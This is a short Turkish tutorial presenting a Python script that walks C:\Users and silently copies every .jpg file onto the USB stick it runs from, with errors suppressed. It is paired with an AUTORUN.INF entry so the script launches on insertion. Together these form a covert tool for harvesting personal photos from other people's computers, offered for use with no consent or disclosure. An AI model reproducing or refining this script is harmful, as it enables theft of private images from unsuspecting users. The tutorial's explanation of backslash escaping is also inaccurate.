**Python ile Dosya Kopyalama**

Bunun için (os ve shutil) kütüphanemizi kullanıyoruz. Öncelikle USB içine kopyalayacağımız için USB klasör yolunu almak için **directory\_path = os.getcwd()** fonksiyonumuzu kullanarak directory\_path değerine USB klasör yolununun atamasını yaptık. Şimdi

**for root, dirs, files in os.walk("C:\\Users", topdown=False):**

Arrayleri for kısmına atadığımız root,dirs,files değerleri ile gelen sonuç arrayini ayrıştırıyoruz. Yolu C:\\Users olarak belirledim normal kullanımı C:\Users fakat python dili ve bir çoğu dil stringlerin içinde Unicode olunca kabul etmeyebiliyor yani eğer ters slash kullanmak istiyorsak yanına bir tane daha eklememiz gerekiyor.

**for name in files:**

for döngümüz ile files arrayi içindeki tüm dosyaların pathini teker teker alıyoruz.

**filepath = os.path.join(root, name)**

**if filepath.\_\_contains\_\_(".jpg"):**

Eğer dosya yolumuz .jpg içeriyorsa

**trytocopyphoto(filepath,'.jpg')**

Tanımladığımız TryToCopyPhoto fonksiyonu ile kopyalıyoruz

**def trytocopyphoto(filepath,ext):**

**if filepath.\_\_contains\_\_(ext):**

**try:**

Hata verir ise programın durmaması için try kullanıyoruz

**shutil.copyfile(filepath,**

**directory\_path + "\\Photos\\"+ext.replace('.','')+"\\" + filepath.split('\\')[len(filepath.split('\\')) - 1])**

copyfile fonksiyonumuzda olduğumuz klasör yolunun içindeki photos klasörüne dosyayı kopyalaması için 1.argümana kopyalamak istediğimiz dosyayı 2.argümana ise directory\_path Photos klasörü içine kopyalamasını istiyoruz ve kopyalıyor eğer ki kopyalayamaz ve hata alır ise except kısmına dönecek ve pass yazdığımız için yok sayarak devam edecektir.

Ve ayrıca split komutunu kullanıyoruz ki dosyanın orijinal ismini almak için.

**print(filepath)**

**except:**

**pass**

**AUTORUN.INF**

[AutoRun] Autorun başlangıç tanımlamasını yapıyoruz

SHELLEXECUTE=JJJJ.PY Python dosyamız normal çalıştırıdğımızda açılmayacak bu yüzden . SHELLEXECUTE kullanıyoruz.

**Ahmet Efe Vural**

**27.03.2022**